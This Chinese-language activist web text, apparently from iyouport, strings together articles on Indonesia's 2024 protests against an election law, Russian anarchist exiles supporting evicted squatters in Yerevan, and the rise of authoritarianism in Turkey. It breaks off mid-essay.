【注：“Kamisan抗议行动” 是每周在雅加达举行的抗议活动，由 Semanggi 悲剧受害者的家属发起。自2007年起，每周四下午，遇难者家属及其支持者都会手持黑伞、身着黑衣、举着横幅和遇难者的照片，站在印尼总统府前抗议。这一抗议活动蔓延到印尼的许多城市；万隆自2013年起也举行了这样的抗议活动。Semanggi 惨案是在前“新秩序”将军普拉博沃·苏比延多（Prabowo Subianto）的领导下发生的；现在普拉博沃和佐科威的儿子吉卜兰赢得了2024年大选。Kamisan的抗议者呼吁关注各个时期尚未解决的侵犯人权问题，包括1965-66 年的反共大清洗和1998年的骚乱。Kamisan抗议行动实际上受到了1976年至1983年阿根廷失踪者母亲运动的启发，她们在阿根廷布宜诺斯艾利斯总统府玫瑰宫对面的五月广场展开写有失踪家庭成员名字的布条进行抗议。】

西印尼时间下午14:20，抗议者拆毁了人代会大楼的右门。人代会成员哈比布罗克曼（Habiburokhman）被示威者投掷的瓶子击中。抗议活动一直持续到傍晚，警察使用殴打、催泪瓦斯和水枪驱散人群。记者因试图报道警察袭击事件而遭到殴打，并被迫删除录像。

万隆： 下午5:30，抗议者拆毁了西爪哇地区众议院（DPRD）大楼周围的围栏，引发冲突。情报人员袭击了一名记者，一名学生被警察投掷的石块砸伤眼睛。

打横： 抗议活动包括焚烧打横人代会大楼的若干设施。

茂物： 在 Tugu Kujang 发生了抗议活动。

井里汶： 一名学生和一名警察在井里汶地区众议院大楼前的示威活动中受伤。

日惹： 数千人聚集在阿布·巴卡尔·阿里（Abu Bakar Ali）停车场，游行至零公里标志，最后在日惹特区DPRD大楼前结束。

三宝垄：在中爪哇DPRD 大楼前的抗议活动演变成暴力事件，抗议者

强行进入大楼，导致围墙几乎倒塌。警方使用催泪瓦斯驱散人群，造成26人受伤，其中18人需要住院治疗。抗议活动一直持续到2024年8月26日，三宝垄市政厅周围的围栏被冲破。

泗水： 英雄纪念碑前发生示威活动。

梭罗：市政厅前发生抗议活动。

玛琅： 数千人在纪念碑周围举行抗议活动。

苏门答腊

「图」

巴东： 西苏门答腊省地区众议院大楼前发生抗议活动。

武吉丁宜： 2024年8月23日，数百人冒着大雨在武吉丁宜省地区众议院大楼前举行抗议活动。

楠榜： 8月21日晚的抗议活动参与者身着西班牙著名无政府主义剧集“纸钞屋”的经典服装。

南苏门答腊：在辛邦利马（Simpang Lima）的抗议者戴着政客照片做成的面具，包括佐科维多多、巴赫利尔·拉哈达利亚（Bahlil Lahadalia）、尤斯里尔·伊赫扎·马亨德拉（Yusril Ihza Mahendra）、普拉博沃·苏比延多（Prabowo Subianto）和鲍比·纳苏蒂安（Bobby Nasution）。抗议者在示威中展示了一口棺材。

占碑省：数千名学生从印尼新邦银行游行至特拉奈的议会大厦。抗议活动在警察的殴打下演变成暴力事件，导致3人昏迷，4人受伤。

亚齐： 在洛克修马威（Lhokseumawe）地区众议院门前举行的抗议活动导致数千名学生与安全部队发生冲突。班达亚齐也发生了类似的抗议活动，最终导致暴力事件和五人被捕。

明古鲁： 地区众议院的安保人员殴打参加抗议活动的学生，试图驱散人群。

苏拉威西

「图」

望加锡：数千人抗议选举法案的通过，一些人还焚烧了轮胎。抗议活动在第一夫人伊里亚娜·佐科·维多多（Iriana Joko Widodo）预定路过时被驱散。

肯达里：数千名学生和记者在东南苏拉威西省地区众议院大楼前抗议。

帕卢： 2024年8月23日，中苏拉威西省地区众议院大楼前发生抗议活动。

努沙登加拉

「图」

古邦：在NTT KPU（Nusa Tenggara Timur Komisi Pemilihan Umum，东努沙登加拉省普选委员会，首府为古邦市）办公室前举行了静坐抗议活动。

马塔兰：在警察试图用催泪瓦斯和水枪驱散人群后，西努沙登加拉省地区众议院大楼前的抗议活动演变成了暴力事件。

- ○ 登巴萨（巴厘岛）： 2024年8月23日，来自不同大学的学生、公共学生组织、非政府组织、巴厘岛LBH（Lembaga Bantuan Hukum，社区法律援助机构 - 为有需要的人免费提供法律援助的前线组织）以及其他组织，都参加了抗议活动。

马鲁古和巴布亚

「图」

安汶： 马鲁古省安汶市帕蒂穆拉大学学生联盟（Aliansi Mahasiswa Pattimura）要求与联盟党成员会面，但因联盟党成员缺席而遭到拒绝。

马诺夸里：西巴布亚地区众议院大楼前举行了抗议活动。

索龙： 在索龙公园举行了无声抗议。

加里曼丹

「图」

马辰：来自不同校园的数千名学生占领了南加里曼丹省地区众议院大楼。

三马林达：数千人在东加里曼丹地区众议院大楼前抗议，要求取消地区选举法案。

巴厘巴板： 在巴厘巴板地区众议院大楼举行的抗议活动演变成学生与警察之间的暴力冲突。

坤甸： 学生在西加里曼丹地区众议院参加紧急民主行动。

帕朗卡拉亚：数百名学生举行抗议活动，但由于与中加里曼丹地区众议院主席会面的要求未得到满足，活动在混乱中结束。人群拒绝了只有代表才能进入大楼表达诉求的条件。

2024年8月22日之后，许多城市的民众继续举行示威活动。

Anarchists on the Wave of Protest in Indonesia

原文

流离失所者之间的团结 - iyouport

反抗者-寻求经验

润，应当是一个新的开端 -- 流亡者如何才能在新的家园继续采取政治行动，在陌生的环境中建立跨种族的团结？

在世界各地，随着气候灾难、经济危机和战争的蔓延，迫使数百万人流亡国外和跨越国界，大规模流离失所正在加速。

这些大规模的迁徙加剧了仕绅化，推高了住房成本，而房地产投机正导致越来越多的人无家可归。

流亡者如何才能在新的家园继续采取政治行动，在陌生的环境中建立跨种族的团结？

在亚美尼亚，流亡海外的俄罗斯无政府主义者树立了一个榜样。

本周，由于阿塞拜疆恢复了对纳戈尔诺-卡拉巴赫的军事进攻，亚美尼亚境内的难民处境更加紧迫。尽管数十年来种族间暴力冲突不断，但数以万计的亚美尼亚人一直坚守在那里。

随着俄罗斯失去对该地区的控制，而其他国家的政府也感到有恃无恐并开始了自己的征服，战争正在蔓延，导致更多的人流离失所。

这里是关于流离失所者在新环境中开展强有力的政治组织活动的另一个例子。

- 如果您错过了《与流亡组织对话：政治避难者如何在异国他乡继续奋斗》

埃里温被废弃的前国防部大楼空荡荡的窗户。

背景

「图」

曾经被全球超级大国划为“东方集团”的领土都有着各自不同的历史、社会和政治轨迹。几个世纪以来，“文明的”西方和“野蛮的”东方之间的东方主义界线一直存在争议。在这些领土上，帝国曾经征服又崩溃，战争和种族灭绝不断划定又重新划定着边界。

19世纪末和20世纪初，无政府主义曾经在这些地区的一些最激烈的斗争中走在前列。从那时起，数十年的社会主义统治、国家镇压以及20 世纪 90 年代残酷的资本主义经济私有化，造成了极具挑战性的政治格局。在这种情况下，维持无政府主义的组织工作要么困难重重（如在波兰）要么极其危险（如在俄罗斯或白俄罗斯）。

亚美尼亚无政府主义的历史可以追溯到19世纪末。最著名的亚美尼亚无政府主义者之一是亚历山大·阿塔贝基扬 (Alexander Movsesi Atabekian)，他受到了彼得·克鲁泡特金著作的启发。他是俄国十月革命的早期批评者之一，这一立场使他不断被剥夺自由 —— 苏联当局曾多次逮捕他。即便如此，他的作品仍然具有影响力，因为他用亚美尼亚语创办了那个时代为数不多的无政府主义期刊之一。

经过几十年的专制统治，亚美尼亚于 1991 年苏联解体时获得独立。独立后的最初几年饱受战争摧残，亚美尼亚与阿塞拜疆争夺尚未解决的纳戈尔诺-卡拉巴赫领土。

此后的二十年间，社会动荡不断。2013年，首都埃里温爆发了反对公共交通费用上涨的大规模无中心运动。一年后，爆发了反对养老金制度改革的自组织的抗议活动。无政府主义者参与了这两场运动，以及反对拆除埃里温历史悠久的 Afrikyan Club 房屋的抗议活动。2015 年，电费上涨吸引了更多人走上街头，其中再次包括无政府主义者。

在亚美尼亚，与该地区其他许多后社会主义国家一样，很难将社会和经济压力引发的抗议与寻求政权更迭的运动明确区分开来。尽管如此，在 2016 年之前的几年里，亲密团队和小型无政府主义组织，包括女权主义者和酷儿倡议组织纷纷崛起。

然而，2016年，随着世界各地局势的变化，政治格局开始发生变化，右翼民兵从无政府主义者手中夺走了主动权。那年7月，他们占领了埃里温最大的警察局，试图发动武装叛乱，但没有成功。与此同时，移民侵蚀着无政府主义者已经取得的成果。正如一位亚美尼亚无政府主义者当时告诉我们的那样，“离开亚美尼亚，加入移民大军，是目前最普遍的激进化形式”。

2020年，与阿塞拜疆的战争再次爆发。在过去几年里，俄罗斯通过向

两国出售武器赚取了大量利润。弗拉基米尔·普京最终促成了两国之间的停火，但军事冲突在随后几年里持续存在，并在俄罗斯入侵乌克兰陷入困境后再次升级。战争往往会助长反动政治和极右翼团体的发展，同时撕裂之前积累起来的能促进基层组织的社会结构。

在这种情况下，尤其重要的是要找到一些实例，说明那些背井离乡的难民是如何组织起来的，即使之前的社会运动已经崩溃。埃里温的前国防部大楼

俄罗斯无政府主义者声援亚美尼亚”占地者”： 访谈

「图」

以下是一位居住在埃里温的俄罗斯无政府主义者的回答。

—— 请谈谈亚美尼亚的住房危机。

在乌克兰被入侵之前，埃里温市政府就已经在重建城市了，拆除包括历史遗迹在内的一大堆旧建筑，取而代之的是新建筑、商店和餐馆，而这些正是这座城市日益严重的仕绅化危机的引擎。

2022年2月24日俄罗斯入侵乌克兰后，超过10万俄罗斯人移居亚美尼亚，其中包括无政府主义者。但事实证明，亚美尼亚国内也在进行着一场战争。尽管普京在海牙被正式认定为战犯，但阿塞拜疆总统伊利哈姆·阿利耶夫和土耳其的总统雷杰普·塔伊普·埃尔多安一直在杀害和轰炸亚美尼亚人，摧毁亚美尼亚的文化古迹，封锁阿尔察赫，剥夺了12万居民的食物和药品，而国际社会却对此没有任何抵制。

因此，除了俄罗斯侨民之外，亚美尼亚还有大量的国内难民，而国家却几乎没有采取任何措施来帮助他们。

房东和房地产中介趁机大幅提高房租。亚美尼亚媒体报道了阿尔察赫难民一家五口如何被迫支付多出一倍半的房租的故事。房东打电话给他们，威胁要在他们的住处安置俄罗斯人，尽管租约条款是事先讨论好的。有时，在俄罗斯人搬进来时，房东并没有撤掉宣布空房的广告，而是提高了价格，威胁说只要任何时候有新租户接受更高的报价，就会驱逐现租户。这导致了房价的螺旋式上涨。

在大多数情况下，房东不与租户签订正式合同，以便能够随时更改租房条款、设定新价格或赶走租户。这也使他们能够避免向政府纳税。结果，租户只能自谋生路。他们一方面要与试图从他们身上攫取最大

利润的房东抗争，另方面还要应对近期战争造成的经济后果。

住房危机影响到许多不同的人群：学生、从亚美尼亚其他地区迁往首都的工人、来自纳戈尔诺-卡拉巴赫的难民、以及来自其他不同社会阶层的亚美尼亚人。

2022年9月在俄罗斯宣布部分军事动员时，第二波俄罗斯移民抵达亚美尼亚。这一次，不仅包括俄罗斯族人，还包括持有俄罗斯护照的亚美尼亚族人。结果，就连车库和地下室也被匆忙改造成公寓并在埃里温市场上出租，亚美尼亚大城市（如久姆里、瓦纳佐尔、卡潘或迪利然）的房地产价格已达到埃里温前二月的水平。

根据我自己的经验，许多搬迁者的住房问题非常严重。只有一些计算机程序员可以负担得起昂贵的公寓，但大多数移民都负担不起。

埃里温只有一个无家可归者收容所，可容纳 100 人，而露宿街头的人数大约是这个数字的四倍。其中有些人因为冻伤不得不截肢。然而，亚美尼亚官方却不承认存在无家可归者！埃里温前国防部大楼外被驱逐的寮屋居民点燃的取暖火堆。摄影：Samson Martirosyan

—— 这与针对旧国防部大楼占地者的驱逐有何关系？

2018年，数百人占领了埃里温高速公路附近一栋13层高的前国防部大楼。该建筑自2008年以来一直空置。许多参与者是有孩子的家庭、退伍军人、老人和穷人。其中一些人是参加过三、四次战争的老兵。他们修缮了建筑，种植了树木，还经营了一个农场。

当局决定翻修这栋楼，并将其交给国家税务机构，后者将于2027年搬迁至此。他们想在这建一个 “对外经济中心”。

他们在驱逐住户的前几周切断了电力，给住户造成了非常困难的生活条件。2023年 2月16日，亚美尼亚警察来到大楼，强行将所有住户赶走。当时，至少有 **150** 个家庭住在这里。许多寮屋居民进行了抵抗；**26**人当场被捕。当局调来了数千名警察，开始抢劫、毁坏农场、并偷窃被驱逐者的私人物品，包括军装。

当局允许 20 个家庭住进宿舍，其他人则住在亲戚家。但许多人拒绝离开家园，转而在大楼附近的土地上扎营，要求允许他们继续住在那里。

我们，一个定期在无政府主义酒吧聚会的无政府主义圈子的代表，决定不再袖手旁观。埃里温前国防部大楼外被驱逐的寮屋居民点燃的火

堆。

—— 人们对驱逐行动和你们的援助行动有何反应？

驱逐事件和我们声援占地者的活动在移民社区引起了一些讨论。有人在一个移民聊天室里声称这些难民和退伍军人是 “侵占国家财产的无赖”，作为纳税人，他对此 “极为愤慨“。作为回应，其他人提出了有关人权的论点。一些自由派开始争辩说，“在德国或瑞典，维护住房权和体面生活是政府官员的责任”。（就是主张依靠政府）

对我这个无政府主义者来说，占地的故事生动地说明了人民如何通过自己的劳动和智慧解决基层的社会问题。通过非国家手段确保社会权利，这一社会项目避免了福利制度的主要弊端—— 官僚主义和家长式作风。

从很多方面来说，类似于 “占地” 这样的社会实验也会让地主/房主的存在受到质疑。就像中世纪的封建领主一样，地主/房主并没有为社会创造任何价值，但他们仍然可以利用他人的劳动来牟利。正如一位占地居民所言：“如果国家不能帮助我们，那么上帝也会帮助我们，至少让国家停止干涉，停止偷窃和破坏我们所建造的一切。” 占地居民晾晒的衣物

—— 过去十年间，埃里温发生了数次抗议浪潮。你是否看到人们在一次又一次的斗争中积累了历史知识和经验？

关于埃里温 2010 年代的运动，亚美尼亚无政府主义者确实参与了很多街头运动。曾有过抗议电价上涨的行动、人权日的示威游行、反对埃里温仕绅化的行动，以及无政府主义女权主义者的行动。但不幸的是，那一代人要么离开了政坛，要么加入了政党，要么出国去了俄罗斯或欧洲。

如今，亚美尼亚的无政府主义者大多是来自俄罗斯联邦的移民。事实上，我只认识两个亚美尼亚本土无政府主义者： N- 是一名朋克音乐家（在 20 世纪 20 年代初成为无政府主义者），S- 是一名无政府女权主义者，在我们的空间演讲，偶尔在左翼和无政府主义杂志上发表文章（她也是在那个时候成为无政府主义者的）。可惜的是，他们两人都与2010年代的运动和亲密团队无缘。

还有一位来自以色列的无政府主义者： Y- 是一名犹太妇女，在克里米亚生下孩子后被遣返回以色列，在那里的基布兹集体社区里生活了18年，并参加了那里的无政府主义运动（包括与 “Anarchists Against

the Wall” 组织接触），后来嫁给了一名亚美尼亚人并搬到埃里温，决定在这里开一家以无政府主义和女权主义为主题的咖啡馆。这个咖啡馆成了当地犹太社区（如每周六的安息日庆祝活动）以及创意知识分子的聚会场所，他们在这里举行公开读书会。

这一切一直持续到俄罗斯入侵乌克兰，此后俄罗斯当局开始对其公民进行更严厉的迫害，成千上万反战的俄罗斯人（包括无政府主义者）逃离了这个国家。

因此，自独立以来的这些年里都是单一民族的亚美尼亚现在变得更加多元化了。

随后，许多左派和反专制观点的移民代表成为了 Mama-jan 咖啡馆的常客。在 Y-、S-（我在上文中提到过的人）和俄罗斯无政府主义者 S-的倡议下，这为成立名为 “艾玛·戈德曼公学” 的组织提供了肥沃的土壤。实际上，这是无政府主义者和支持者们每周在咖啡馆的一个小房间里举行的聚会，讨论无政府主义杂志上出现的新文章。Mama-jan 咖啡馆的门口。第二张贴纸用俄语写着“禁止战争”。

我们这个小圈子就是这样形成的，现在它代表了亚美尼亚的整个无政府主义运动。

我们当中有许多不同的人。其中一位积极参与素食主义，甚至成立了自己的素食合作社（我也加入了）。还有一些人，比如一位信仰基督教的无政府主义者朋友，为战争受害者募集人道主义援助。还有一个酷儿无政府主义团体继续从事街头活动。

这个咖啡馆成为了一个社交空间，我们开始积极举办各种主题的公开讲座，如亚美尼亚无政府主义者亚历山大·阿塔贝基扬的遗产（我主讲的内容）、无政府主义和生态学、萨帕塔主义者等等。关于亚历山大·阿塔贝基扬的演讲

3月8日国际妇女节在埃里温举行的活动

我们一得知他们被强行驱逐，就决定去帮助他们。我们去找了他们几次，尽管一开始有些不信任，但我的朋友们还是设法与他们找到了共同语言。

因此，在下一次周会上，我们讨论了如何去帮助这些占地者。其中一位无政府主义思想的支持者是我们圈子的访客，他安排提供木柴，供占地者用锅灶给帐篷取暖。此外，作为一名有一定关系的反战人士，

我还设法邀请了一位记者朋友前往那里。在随后的一次访问中，他们非常热情地接待了我们。我们帮着卸木柴，他们给我们做饭，还教我们下双陆棋。

我们向俄语移民媒体报道了那里的情况，这篇报道后来发挥了非常重要的作用。我们还与慈善组织 “Ethos” 建立了联系，该组织由埃里温的迁移者创建，致力于帮助乌克兰和亚美尼亚难民。

多亏了对驱逐事件的新闻报道，并在我们的倡议下通过各种出版社的转载（例如积极报道迫害无政府主义者和反战抗议者事件的“Doxa”），我们才得以在 Ethos 发起食品、药品和燃料募捐活动。最终，我们募集到的资金比原计划多出 60,000 打兰！（相当于大约 157 美元，对于亚美尼亚的一些难民来说这已经是一笔不小的数目了）

此外，占地居民开始积极邀请我们参加他们的抗议活动：他们每周四和每周一都会在政府大楼和国家财政支出委员会附近举行抗议活动。我和我的朋友们举着一张写有 “国家，你为什么要夺走人们的住房” 的海报，上面有无政府主义的标志。

寮屋居民对我们的支持非常高兴，甚至邀请我们去烧烤（虽然我们这有素食主义者朋友）。

现在，他们的斗争仍在继续，我们与他们保持着联系。埃里温前国防部大楼外的露营地

—— 无政府主义者对住房斗争有什么贡献？

原则上，无政府主义在其历史上一直对住房问题非常感兴趣。在巴黎公社时期的一项革命性决定就是将无家可归的巴黎人安置在逃往凡尔赛的资产阶级移民空置下来的公寓中，并禁止以拖欠房租为由驱逐房客，这并非毫无道理。住房无保障是现代社会的一个重要问题，也是无政府主义者必须应对的挑战。

这次驱逐的例子尤为引人注目。它揭示了以私有财产为基础的文明的荒谬和不道德。

在此，我们有必要将两方面放在一起讨论：阿塞拜疆在阿尔察赫试图赶走亚美尼亚人并进行种族清洗的—— 其手段包括设置封锁和切断电力，以及同样的事情也发生在埃里温—— 亚美尼亚政府切断了占地者的电力，并为他们创造了无法忍受的条件。《夜来闻啼鸟》

擅自占地者在埃里温前国防部大楼外露营

> 房子不是房主盖的。房子是由无数工人建造、装饰和装修的，他们在木料场、砖瓦场和车间里，拿着最低的工资辛苦地劳作 ……

擅自占地者在埃里温前国防部大楼外露营

□□

原文

瓦解独裁政权，是无法用选票解决的问题 - iyouport

反抗者-寻求经验

"请记得，如果愤怒常常导致暴乱，那么始终都是希望 - 是胜利的希望 - 使革命发生" ~ 彼得·克鲁泡特金，《反叛的精神》（1880）

埃尔多安在土耳其大选中的胜利是中东乃至世界独裁政权的又一收获。

我们必须研究土耳其法西斯主义的根源，了解它与世界各地独裁者的稳步增长有何关系，才能制定战略以阻止它们在任何地方发生。

投票是无法解决这个问题的。

应读者对土耳其大选的提问制作这篇文章。这里不关心土耳其的 “北约战略意义”，因为这一 “意义” 不会惠及人民。

土耳其的反抗环境的严峻程度丝毫不亚于中国，这意味着反抗者的力量、精力和资源更·应·该·用在刀刃上。比如，如果我现在提出以下3个基本问题：

- A、人们大多能注意到一些社会思潮的保守化甚至极端化。而反对派应该可以清楚地描述出这些恶化的起源和过程，（不必夸大洗脑宣传的作用，任何宣传都需要基于某种现实经验，它们不能创造人的经验），只有这样才能帮助反对派敏锐意识到社会倾向的波动，并抓紧它，令其为自己所用。
- B、如果现在邀请您勾画出一个可团结的社会力量网络图谱，您可以把它画得有多大？提示：可以按照可能性水平来分级，比如最容易的联合、有条件的联合、难度较大但价值较高的联合资源、不可能的联合资源…… 并说明您作此划分的理由；尤其是，请标注出，当什么条件发生变化时，相应的可能性会改变？这些改变对您有利还是有害？如何抓住机遇和降低风险？

- C、流亡者社区如何与当地的国际支持者网络对接，以扩展能力为更好地辅助国内的抵抗力量。需要学习什么？学习资源来自哪里？要创建一个稳固的团结网络，目前还缺少什么？为什么缺少？有可能如何弥补？稳固的团结网络超越任何被动的紧急反应，并帮助突发事件中的即时响应更加顺利。

对于这些基本问题您应该已经有了更加详尽的答案在您心里。

此时正值中国的大屠杀纪念日，本文将演示反对派的脑力工作（而非限于异议），希望能帮助提振士气，接力火种。

没有死去的一切，都必然成长，壮大，更多智勇，更加成功。

每一年都会有这一天。每一个今年都应该看到比每一个去年更进步的“我们”。

上面的照片所显示的是土耳其法西斯分子在2014年举着火炬游行，高呼反库尔德人的口号，并展示了灰狼(Grey Wolves)的手势，比美国法西斯分子在弗吉尼亚州夏洛茨维尔的 “联合右翼” 集会上举着同样的火炬游行早了三年。

与美国和其他许多国家一样，土耳其长期以来一直处于专制主义升级的轨道上；可以说，它比大多数国家在这条轨道上走得都要更远。

一个专制政府是如何在土耳其获得控制权，在曾经的世俗民族主义和伊斯兰原教旨主义之间结成联盟的？研究土耳其现今法西斯主义的根源，将有助于我们了解土耳其入侵罗贾瓦的起源、帮助革命者确定土耳其社会中潜在的同志和断层，并瞥见，如果我们不能成功地阻止专制主义的崛起，未来可能在各地出现什么样的情况。

附录包括对革命无政府主义行动组织成员的采访，同样重要。该组织是一个在土耳其活跃了十年的无政府主义组织。

（盖齐起义 – 反抗的安卡拉学生制作的倡导视频）

就在不久前，土耳其还是西方世界的宠儿。作为欧洲人和俄罗斯人最喜欢的旅游目的地，作为美国历史最悠久的外国军事基地之一的所在地，以及国际货币基金组织/世界银行贷款的主要接受者，这个连接亚洲和欧洲的国家曾经在从美国军方高层到金融投机者中普遍拥有良好的声誉。土耳其军队在19年底对叙利亚北部的入侵严重损害了这一形象，这引起了各种政治家和国际社会运动的广泛反对。

然而，尽管那次入侵让许多人大吃一惊，但土耳其本身一直都是法西斯主义的混合体 —— 一个建立在对亚美尼亚人的屠杀和对希腊人的驱逐以及对当地库尔德人的殖民同化之上的民族国家。在其基础上，土耳其的民族身份是为了穆斯林人口的利益而设想的，这是从奥斯曼帝国根据宗教划分人口的 “民族体系” 中借用的。

从1923年开始的前27年里，土耳其国家是由一党制的社团主义制度管理的，可以恰当地称为法西斯主义；1950年后，更多的政党被允许进入议会系统—— 至少在1960年的军事政变之前。

在随后的几年里，土耳其受到了全球左翼革命浪潮的影响。这个相对包容的时期随着1980年的军事政变而结束；随后的法西斯主义新自由主义政权与皮诺切特的智利非常相似。

1990年代，在政治不稳定的同时，针对库尔德运动的战争也在加剧，一个又一个的联合政府解体。

21世纪初，当雷杰普·塔伊普·埃尔多安上台时，似乎代表着与土耳其古典政治的决裂，是一次 “自由民主” 的转型，但是，随着新自由主义专制主义与土耳其传统法西斯主义的混合，蜜月期逐渐结束。埃尔多安总统所体现的土耳其法西斯主义的最新迭代，代表了根深蒂固的民族主义与最近的政治伊斯兰的融合。

从表面上看，这种意识形态的合并是令人惊讶的，因为这两种思潮过去是相互抵触的。穆斯塔法·凯末尔·阿塔图克阐述的土耳其建国原则强调：土耳其将是一个世俗国家。这种世俗主义虽然在某些方面具有压制性—— 例如，禁止公开展示宗教服装—— 但也远非完全。自建国以来，其宗教事务部多次试图在土耳其各地规范和灌输逊尼派伊斯兰教。更重要的是，国家军队、逊尼派民族主义民兵和暴徒的混合体对土耳其的阿莱维人进行了定期屠杀—— 1938年在迪尔西姆对阿莱维库尔德人的屠杀，1978年在马拉什和马拉蒂亚市，1980年在乔鲁姆，1993年在锡瓦斯。

尽管国家有民族主义的基础，并定期动员伊斯兰教为土耳其民族主义服务，但这种形式的霸权法西斯主义主要强调中亚草原的突厥根源，而不是今天埃尔多安所兜售的奥斯曼帝国主义和伊斯兰原教旨主义的混合。这种形式的法西斯主义被用来对付**20**世纪**60**年代末和**70**年代的左派学生运动，库尔德斯坦工人党（**Partiya Karkerên Kurdistanê, PKK**）的最初创始人和干部也在其中崭露头角，包括著名领导人阿卜杜拉·奥贾兰本人。

国家和相关的法西斯准军事组织都进行了大屠杀，例如1978年在安卡拉发生的臭名昭著的突袭，土耳其工人党的七名年轻成员被杀害。那次大屠杀的一些肇事者后来成为格拉迪奥行动的特工—— 这个由中央情报局和北约指导的国际准军事组织负责执行意大利的“紧张战略”（**strategia della tensione**），打击**1970**年代的自治主义运动。他们的活动持续了几十年。这些国家特工还组织了反叛乱部队，20世纪90年代在土耳其各地针对库尔德工人党成员和他们的库尔德资助者。左翼青年被1980年9月12日政变的军政府围捕。

政治伊斯兰的崛起

「图」

与此同时，在左派学生与国家支持的法西斯准军事部队之间的暴力动荡中，现代土耳其政治伊斯兰的创始人正在悄悄地组织起来。其中包括目前流亡在宾夕法尼亚州波科诺山的土耳其伊斯兰教士法图拉·葛兰。

葛兰跟正义与发展党AKP以及与埃尔多安本人的长期关系至少可以说是动荡不安。葛兰从土耳其东部城市埃尔祖鲁姆开始，作为遵循逊尼派神学家赛义德·努尔西教义的教徒，在20世纪60年代末和70年代成为西部城市伊兹密尔少数信徒的教士。（赛义德·努尔西是一个狂热的反共分子，也被土耳其政府起诉，直到1960年去世；他特殊的伊斯兰教变体被认为是对凯末尔主义者的威胁，因为它结合了资本主义和现代性）。

埃尔多安的根源可以追溯到一个敌对的伊斯兰教运动，即内吉梅丁·埃尔巴坎（Necmettin Erbakan）创立的民族观念运动（Milli Görüş，指奥斯曼帝国的土耳其民族与伊斯兰教之间的联系）。葛兰和埃尔巴坎在战略上有分歧。埃尔巴坎主张开展政治运动，夺取议会席位并最终进入政府，而葛兰则追求一种更隐蔽的方法，将商业建设与国家各机关的干部化结合起来，主要是军事和司法机关，包括警察部队。

1980年9月12日的军事政变后，土耳其政治伊斯兰教的这两股势力在1980年代初崛起。政变后，凯南·埃夫伦的军政府上台，逮捕了近**65**万人，其中大部分是左派革命者。在牢房门后，**171**人在酷刑和审讯中被杀死；**49**人被直接处决。

这一残酷的镇压浪潮为政治伊斯兰教的崛起铺平了道路，主要是作为对席卷土耳其青年和工会工人的左派浪潮的反击。

土耳其总统图尔古特·厄扎尔加速了这一进程，他通过限制公共投资，采取措施吸引外国资本，对公共机构进行全面私有化，并向出口驱动型经济过渡，将土耳其经济纳入了全球新自由主义体系。凯南·埃夫伦（Kenan Evren）是1980年9月12日军事政变的掌舵人，因此对今天土耳其政治伊斯兰教的崛起负有责任。

奥贾兰在1980年军事政变之前就已经逃离了这个国家。20世纪80年代，他在叙利亚开始更认真地组织库尔德工人党，组织正式的游击队训练，并将其思想引入了土耳其东南部村庄和城市的库尔德社会。

最终，政治伊斯兰教的两股势力—— 葛兰主义的 “会众” 和埃尔巴坎的 “民族观念运动”—— 都在各自的战略中取得了成功。会众深深渗透到军队和司法部门内部，而埃尔巴坎的福利党（Refah Partisi）在1996年大选中成为联盟伙伴，其创始人担任总理。埃尔多安在土耳其政坛的最初崛起，即在1994年至1998年期间担任伊斯坦布尔市长，就是因为他是埃尔巴坎的福利党成员。在福利党被土耳其国家安全委员会镇压以及埃尔多安因朗诵伊斯兰教诗歌而被短暂监禁四个月之后，“正义与发展党 AKP ”于2001年成立。

AKP 在2002年大选中大获全胜，自20世纪80年代厄扎尔执政以来首次组成了一党制政府。他们成功地利用了选民对新自由主义应对2001年土耳其经济危机的失望情绪。与葛兰主义运动的联盟也有助于他们迅速上台。会众干部发挥了重要作用，因为在此之前，伊斯兰教政党和政府总是被法院或军队制止。在相互支持下，政治伊斯兰内部这两股以前有分歧的潮流甚至通过各种阴谋行动和调查来合伙对付土耳其长期以来的民族主义军事干部。

然而，这一脆弱的联盟在2011年前后分裂。分裂的原因很复杂。表面上看，催化剂是AKP和库尔德工人党在挪威进行的和平谈判。这种暂时性的和解对坚决反对库尔德工人党的葛兰派来说是一根刺。土耳其和美国在叙利亚冲突问题上的政策分歧也是导致破裂的原因，因为当时葛兰正在成为美国的一个客户。

更为根本的是，埃尔多安和 **AKP** 的崛起对葛兰派构成了生存威胁，因为前者能够为自己囤积越来越大的裙带资本主义的蛋糕。在AKP时期，私有化的数量—— 即财富从公共部门转移到私人手中的数量—— 达到了600亿美元，几乎是之前政府时期的十倍。双方之间的冲突持续了五年，最终以2016年7月15日葛兰主义军方干部的未遂政变而告终。在上世纪90年代，葛兰和埃尔多安尚彼此亲近。

失败的政变

「图」

政变企图为埃尔多安巩固其权力提供了完美的借口。他得以清洗对他的统治构成威胁的葛兰主义老盟友，并对所有反对派，包括库尔德人运动和各种左翼团体和活动家发动了镇压风暴。

埃尔多安曾经恭敬地称葛兰为他的“Hodja”，也就是他的老师；而现在他却轻蔑地用葛兰流亡美国的地点 “宾夕法尼亚" 来称呼他。这表明埃尔多安在提到YPG时用英语发音，并有意将自己作为某种反帝国主义的形象展示给土耳其民众和整个穆斯林群体（所有穆斯林都被想象成一个受宗教约束的单一群体）。

政变未遂后宣布的紧急状态使埃尔多安有权力发布紧急状态法令。这导致库尔德人领导的人民民主党（HDP）的8000多名成员被监禁，6000多名因反对意见而被大学开除的学者，以及对任何批评AKP的公众示威的零容忍政策 —— 尽管这些团体都与政变无关。仅就其范围而言，更不用说其残酷性了，埃尔多安在政变未遂后发动的镇压可以与1980年军事政变成功后发生的情况相媲美。

政变的失败也为AKP提供了一个新的 "起源故事” 叙事，该党自2013年盖齐起义 (Gezi Uprising) 以来一直处于困境。10 years since Gezi Park.

2013年5月底，防暴警察粗暴地驱逐了在伊斯坦布尔中心的塔克西姆广场保卫盖齐公园的占领行动。来自许多不同斗争和社会不同部分的人们作出了回应，将警察赶出了该地区，并在附近建立了路障。

在十天的时间里，随后的占领在伊斯坦布尔市中心维持了一个无警察的解放区，而数十万人 —— 包括敌对的足球俱乐部、各种左翼团体和无政府主义者，在土耳其各地举行反对政府的示威。回过头来看，这是以2008年12月希腊反叛为开端、以法西斯分子在2014年乌克兰革命中获得立足点为结束的运动浪潮中最后爆发的反叛之一。

盖齐起义是土耳其西部（即非库尔德人）迄今为止持续时间最长、范围最广、参与度最高的街头起义。占领区营地中出现的社区结构让人们看到了未来的革命社会关系。占领区被驱逐后，运动的势头还是继续下来了，尽管失去了动力，但又持续了一年。起义期间，盖齐的革命市场 —— 所有东西都是免费的。

然而，最终，在警察重新控制街道后，该运动未能重组。这在一定程度上是一个疲劳的问题。同样，运动的自发性 —— 无疑是其最大的

